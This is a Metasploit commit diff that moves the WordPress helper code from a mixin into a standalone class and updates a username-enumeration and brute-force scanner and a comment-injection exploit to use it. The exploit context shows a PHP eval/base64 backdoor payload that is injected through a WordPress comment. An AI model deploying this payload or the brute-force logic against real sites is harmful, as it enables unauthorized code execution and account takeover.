wordpress is now a module, not a mixin

bug/bundler_fix
Christian Mehlmauer 2013-08-22 00:05:58 +02:00
parent 0a2bf9e9e7
commit 009d8796f6
5 changed files with 46 additions and 41 deletions

2
lib/http/wordpress.rb Normal file
View File

@ -0,0 +1,2 @@
# -*- coding: binary -*-
require 'http/wordpress/wordpress_base'

View File

@ -1,22 +1,19 @@
# -*- coding: binary -*- # -*- coding: binary -*-
module Msf
### ###
# #
# This module provides a way of interacting with wordpress installations # This module provides a way of interacting with wordpress installations
# #
### ###
module Exploit::Remote::Wordpress
include Exploit::Remote::HttpClient
def initialize(info = {}) module HTTP
super class Wordpress
register_options( # initializes a new Wordpress instance
[ #
OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']), # @param client The Metasploit module instance
], Exploit::Remote::Wordpress def initialize(client)
) @client = client
end end
# Checks if the site is online and running wordpress # Checks if the site is online and running wordpress
@ -24,9 +21,9 @@ module Msf
# @return [Boolean] Returns true if the site is online and running wordpress # @return [Boolean] Returns true if the site is online and running wordpress
def wordpress_and_online? def wordpress_and_online?
begin begin
res = send_request_cgi({ res = @client.send_request_cgi({
'method' => 'GET', 'method' => 'GET',
'uri' => normalize_uri(target_uri) 'uri' => @client.normalize_uri(@client.target_uri)
}, 20) }, 20)
if res and res.code == 200 if res and res.code == 200
if res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or if res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
@ -39,7 +36,7 @@ module Msf
end end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE rescue ::Timeout::Error, ::Errno::EPIPE
print_error("Error connecting to #{target_uri}") print_error("Error connecting to #{@client.target_uri}")
return false return false
end end
@ -50,7 +47,7 @@ module Msf
# #
# @return [String] Wordpress Login URL # @return [String] Wordpress Login URL
def wordpress_uri_login def wordpress_uri_login
normalize_uri(target_uri.path, 'wp-login.php') @client.normalize_uri(@client.target_uri.path, 'wp-login.php')
end end
# Returns the Wordpress Post URL # Returns the Wordpress Post URL
@ -58,7 +55,7 @@ module Msf
# @param post_id Post ID # @param post_id Post ID
# @return [String] Wordpress Post URL # @return [String] Wordpress Post URL
def wordpress_url_post(post_id) def wordpress_url_post(post_id)
normalize_uri(target_uri.path) + "/?p=#{post_id}" @client.normalize_uri(@client.target_uri.path) + "/?p=#{post_id}"
end end
# Returns the Wordpress Author URL # Returns the Wordpress Author URL
@ -66,7 +63,7 @@ module Msf
# @param author_id Author ID # @param author_id Author ID
# @return [String] Wordpress Author URL # @return [String] Wordpress Author URL
def wordpress_url_author(author_id) def wordpress_url_author(author_id)
normalize_uri(target_uri.path) + "/?author=#{author_id}" @client.normalize_uri(@client.target_uri.path) + "/?author=#{author_id}"
end end
# performs a wordpress login # performs a wordpress login
@ -75,8 +72,8 @@ module Msf
# @param pass Password # @param pass Password
# @return [String] the session cookie on successful login, nil otherwise # @return [String] the session cookie on successful login, nil otherwise
def wordpress_login(user, pass) def wordpress_login(user, pass)
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}" redirect = "#{@client.target_uri}#{Rex::Text.rand_text_alpha(8)}"
res = send_request_cgi({ res = @client.send_request_cgi({
'method' => 'POST', 'method' => 'POST',
'uri' => wordpress_uri_login, 'uri' => wordpress_uri_login,
'data' => wordpress_helper_login_post_data(user, pass, redirect), 'data' => wordpress_helper_login_post_data(user, pass, redirect),
@ -97,7 +94,7 @@ module Msf
# @param user Username # @param user Username
# @return [Boolean] true if the user exists # @return [Boolean] true if the user exists
def wordpress_user_exists?(user) def wordpress_user_exists?(user)
res = send_request_cgi({ res = @client.send_request_cgi({
'method' => 'POST', 'method' => 'POST',
'uri' => wordpress_uri_login, 'uri' => wordpress_uri_login,
'data' => wordpress_helper_login_post_data(user, 'x'), 'data' => wordpress_helper_login_post_data(user, 'x'),
@ -121,7 +118,7 @@ module Msf
# @return [String] the Username if it exists, nil otherwise # @return [String] the Username if it exists, nil otherwise
def wordpress_userid_exists?(user_id) def wordpress_userid_exists?(user_id)
url = wordpress_url_author(user_id) url = wordpress_url_author(user_id)
res = send_request_cgi({ res = @client.send_request_cgi({
'method' => 'GET', 'method' => 'GET',
'uri' => url 'uri' => url
}) })
@ -133,14 +130,14 @@ module Msf
return $1 return $1
end end
uri = "#{uri.path}?#{uri.query}" uri = "#{uri.path}?#{uri.query}"
res = send_request_cgi({ res = @client.send_request_cgi({
'method' => 'GET', 'method' => 'GET',
'uri' => uri 'uri' => uri
}) })
end end
if res.nil? if res.nil?
print_error("#{target_uri} - Error getting response.") print_error("#{@client.target_uri} - Error getting response.")
elsif res.code == 200 and elsif res.code == 200 and
(res.body =~ /href="http[s]*:\/\/.*\/\?*author.+title="([[:print:]]+)" /i or (res.body =~ /href="http[s]*:\/\/.*\/\?*author.+title="([[:print:]]+)" /i or
res.body =~ /<body class="archive author author-(?:[^\s]+) author-(?:\d+)/i) res.body =~ /<body class="archive author author-(?:[^\s]+) author-(?:\d+)/i)
@ -235,12 +232,12 @@ module Msf
}) unless login_cookie }) unless login_cookie
options = { options = {
'uri' => normalize_uri(target_uri.path, 'wp-comments-post.php'), 'uri' => @client.normalize_uri(@client.target_uri.path, 'wp-comments-post.php'),
'method' => 'POST' 'method' => 'POST'
} }
options.merge!({'vars_post' => vars_post}) options.merge!({'vars_post' => vars_post})
options.merge!({'cookie' => login_cookie}) if login_cookie options.merge!({'cookie' => login_cookie}) if login_cookie
res = send_request_cgi(options) res = @client.send_request_cgi(options)
if res and res.code == 302 if res and res.code == 302
location = URI(res.headers['Location']) location = URI(res.headers['Location'])
return location return location
@ -276,7 +273,7 @@ module Msf
'uri' => uri 'uri' => uri
} }
options.merge!({'cookie' => login_cookie}) if login_cookie options.merge!({'cookie' => login_cookie}) if login_cookie
res = send_request_cgi(options) res = @client.send_request_cgi(options)
# post exists # post exists
if res and res.code == 200 if res and res.code == 200
# also check if comments are enabled # also check if comments are enabled

View File

@ -95,4 +95,3 @@ require 'msf/core/exploit/winrm'
# WebApp # WebApp
require 'msf/core/exploit/web' require 'msf/core/exploit/web'
require 'msf/core/exploit/wordpress'

View File

@ -5,9 +5,10 @@
# http://metasploit.com/ # http://metasploit.com/
## ##
class Metasploit3 < Msf::Auxiliary require 'http/wordpress'
include Msf::Exploit::Remote::Wordpress class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner include Msf::Auxiliary::Scanner
@ -35,6 +36,7 @@ class Metasploit3 < Msf::Auxiliary
register_options( register_options(
[ [
OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
OptBool.new('VALIDATE_USERS', [ true, 'Validate usernames', true ]), OptBool.new('VALIDATE_USERS', [ true, 'Validate usernames', true ]),
OptBool.new('BRUTEFORCE', [ true, 'Perform brute force authentication', true ]), OptBool.new('BRUTEFORCE', [ true, 'Perform brute force authentication', true ]),
OptBool.new('ENUMERATE_USERNAMES', [ true, 'Enumerate usernames', true ]), OptBool.new('ENUMERATE_USERNAMES', [ true, 'Enumerate usernames', true ]),
@ -45,8 +47,9 @@ class Metasploit3 < Msf::Auxiliary
end end
def run_host(ip) def run_host(ip)
@wordpress = HTTP::Wordpress.new(self)
unless wordpress_and_online? unless @wordpress.wordpress_and_online?
fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site") fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
end end
@ -102,7 +105,7 @@ class Metasploit3 < Msf::Auxiliary
def do_enum(user=nil) def do_enum(user=nil)
print_status("#{target_uri} - WordPress Enumeration - Checking Username:'#{user}'") print_status("#{target_uri} - WordPress Enumeration - Checking Username:'#{user}'")
exists = wordpress_user_exists?(user) exists = @wordpress.wordpress_user_exists?(user)
if exists if exists
print_good("#{target_uri} - WordPress Enumeration- Username: '#{user}' - is VALID") print_good("#{target_uri} - WordPress Enumeration- Username: '#{user}' - is VALID")
report_auth_info( report_auth_info(
@ -125,7 +128,7 @@ class Metasploit3 < Msf::Auxiliary
def do_login(user=nil, pass=nil) def do_login(user=nil, pass=nil)
vprint_status("#{target_uri} - WordPress Brute Force - Trying username:'#{user}' with password:'#{pass}'") vprint_status("#{target_uri} - WordPress Brute Force - Trying username:'#{user}' with password:'#{pass}'")
cookie = wordpress_login(user, pass) cookie = @wordpress.wordpress_login(user, pass)
if cookie if cookie
print_good("#{target_uri} - WordPress Brute Force - SUCCESSFUL login for '#{user}' : '#{pass}'") print_good("#{target_uri} - WordPress Brute Force - SUCCESSFUL login for '#{user}' : '#{pass}'")
@ -148,7 +151,7 @@ class Metasploit3 < Msf::Auxiliary
def enum_usernames def enum_usernames
usernames = [] usernames = []
for i in datastore['RANGE_START']..datastore['RANGE_END'] for i in datastore['RANGE_START']..datastore['RANGE_END']
username = wordpress_userid_exists?(i) username = @wordpress.wordpress_userid_exists?(i)
if username if username
print_good "#{target_uri} - Found user '#{username}' with id #{i.to_s}" print_good "#{target_uri} - Found user '#{username}' with id #{i.to_s}"
usernames << username usernames << username

View File

@ -5,12 +5,12 @@
# http://metasploit.com/ # http://metasploit.com/
## ##
require 'msf/core' require 'http/wordpress'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Wordpress Rank = ExcellentRanking
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
@ -57,6 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote
register_options( register_options(
[ [
OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]), OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]), OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ]) OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
@ -82,9 +83,9 @@ class Metasploit3 < Msf::Exploit::Remote
php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->" php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"
if @auth if @auth
uri = wordpress_post_comment_auth(php_payload, @post_id, @cookie) uri = @wordpress.wordpress_post_comment_auth(php_payload, @post_id, @cookie)
else else
uri = wordpress_post_comment_no_auth(php_payload, uri = @wordpress.wordpress_post_comment_no_auth(php_payload,
@post_id, @post_id,
rand_text_alpha(8), rand_text_alpha(8),
"#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com", "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com",
@ -95,8 +96,9 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def exploit def exploit
@wordpress = HTTP::Wordpress.new(self)
unless wordpress_and_online? unless @wordpress.wordpress_and_online?
fail_with(Failure::NoTarget, "#{peer} does not seeem to be Wordpress site") fail_with(Failure::NoTarget, "#{peer} does not seeem to be Wordpress site")
end end
@ -104,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote
if @auth if @auth
print_status("#{peer} - Trying to login...") print_status("#{peer} - Trying to login...")
@cookie = wordpress_login(@user, @password) @cookie = @wordpress.wordpress_login(@user, @password)
if @cookie.nil? if @cookie.nil?
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful") fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
end end
@ -117,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...") print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
else else
print_status("#{peer} - Trying to brute force a valid POST ID...") print_status("#{peer} - Trying to brute force a valid POST ID...")
@post_id = wordpress_get_valid_post_id_with_comments_enabled @post_id = @wordpress.wordpress_get_valid_post_id_with_comments_enabled
if @post_id.nil? if @post_id.nil?
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment") fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
else else
@ -151,7 +153,9 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def check def check
unless wordpress_and_online? @wordpress = HTTP::Wordpress.new(self)
unless @wordpress.wordpress_and_online?
print_error("#{peer} does not seeem to be Wordpress site") print_error("#{peer} does not seeem to be Wordpress site")
return Exploit::CheckCode::Unknown return Exploit::CheckCode::Unknown
end end